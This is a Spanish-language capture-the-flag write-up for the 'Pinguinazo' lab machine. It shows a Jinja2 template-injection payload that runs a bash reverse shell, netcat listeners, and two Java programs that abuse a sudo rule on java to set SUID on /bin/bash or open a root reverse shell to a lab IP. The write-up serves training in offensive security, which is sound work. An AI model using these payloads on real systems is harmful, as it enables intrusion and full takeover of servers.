> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/pinguinazo-write-up.md).

# Pinguinazo write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/4mqeRBn2BKNdcE7gG8A8" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/J9U3739x0tDtEFPzCZTV" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que está corriendo un servidor web Flask corriendo con **Werkzeug 3.0.1** sobre **Python 3.12.3** en el puerto **5000/tcp**. Por tanto, ingresamos la IP de la máquina víctima con el puerto en el navegador y encontramos lo siguiente:

<figure><img src="/files/wQoAy6VUDFunGGMai09S" alt=""><figcaption></figcaption></figure>

Rellenamos el formulario y hacemos clic en enviar y nos muestra un mensaje llamándonos por el nombre que hayamos indicado.

<figure><img src="/files/ojlbyrpkl2UEW66EUKtp" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ZTEU36TyPIGZO4YiOSXa" alt=""><figcaption></figcaption></figure>

Lo que está pasando por detrás es que se está utilizando **Python** para mostrar contenido dinámico. Por lo que vamos a hacer una prueba para verificar si se está validando la entrada del nombre. Así que vamos a introducir lo siguiente:

```python
{{ 7 + 7}}
```

<figure><img src="/files/XnnY56atYIo8ZIlWxeFr" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/sOYNGCbxHqiYLvuT9Ixc" alt=""><figcaption></figcaption></figure>

Vemos que ha ejecutado la suma, lo que quiere decir que no se está validando la entrada, así que ahora vamos a introducir lo siguiente para enviar una web shell a la IP introducida por el puerto elegido, pero antes nos pondremos en escucha con netcat:

```bash
sudo nc -nlvvp 443
```

```python
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/<IP>/<Puerto> 0>&1"').read() }}
```

<figure><img src="/files/pTKB8d12LeT1ITGtAxoj" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/n1Jerl9dEnJAYywdQ8Jk" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/TYJ6upm4pbg66DkMNK5k" alt=""><figcaption></figcaption></figure>

Y ya estaríamos dentro de la máquina víctima.

## **Escalada de privilegios**

Una vez dentro de la máquina víctima ejecutamos el comando `sudo -l` el cual nos indica que podemos ejecutar el binario `/usr/bin/java` como cualquier usuario sin necesidad de contraseña.

<figure><img src="/files/beIsbiXhijKACVneyApG" alt=""><figcaption></figcaption></figure>

Así que vamos a crear dos archivos java diferentes, el primero dará permisos SUID al binario `bash` y el segundo nos enviará una shell interactiva como usuario root.

El primer archivo lo vamos a llamar SUID.java y le vamos a introducir lo siguiente:

```java
import java.io.IOException;

public class SetSUID {
    public static void main(String[] args) {
        try {
            // Comando para dar permisos SUID a la /bin/bash
            String cmd = "chmod u+s /bin/bash";
            
            // Ejecutar el comando en la terminal
            Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
            
            // Esperar a que termine
            process.waitFor();
            
            System.out.println("Intento de establecer SUID en /bin/bash completado.");
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
}
```

Ahora solo tendríamos que ejecutar el fichero de la siguiente manera:

```bash
sudo /usr/bin/java SUID.java 
```

Y finalmente ejecutar `bash -p` para obtener una shell como usuario root.

<figure><img src="/files/eT5izRXqM5oOGTlVkmaM" alt=""><figcaption></figcaption></figure>

Y ahora en la segunda opción creamos el fichero llamado shell.java y le introducimos lo siguiente:

```java
import java.io.IOException;

public class SetSUID {
    public static void main(String[] args) {
        try {
            // Comando para enviar una shell interactiva a 172.17.0.1 por el puerto 444
            String cmd = "bash -i >& /dev/tcp/172.17.0.1/444 0>&1";
            
            // Ejecutar el comando en la terminal
            Process process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
			
			// Esperar a que termine
            process.waitFor();
            
            System.out.println("Intento de establecer una shell reversa completado.");

        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
}
```

Solo nos queda ponernos en escucha con netcat y ejecutar el siguiente comando:

<figure><img src="/files/4sS1UrONstL4BwfO5aRE" alt=""><figcaption></figcaption></figure>

```bash
sudo /usr/bin/java shell.java 
```

<figure><img src="/files/qmm4F5NRQxPwyIf31Ll0" alt=""><figcaption></figcaption></figure>

Finalmente, obtendríamos una shell con privilegios elevados.
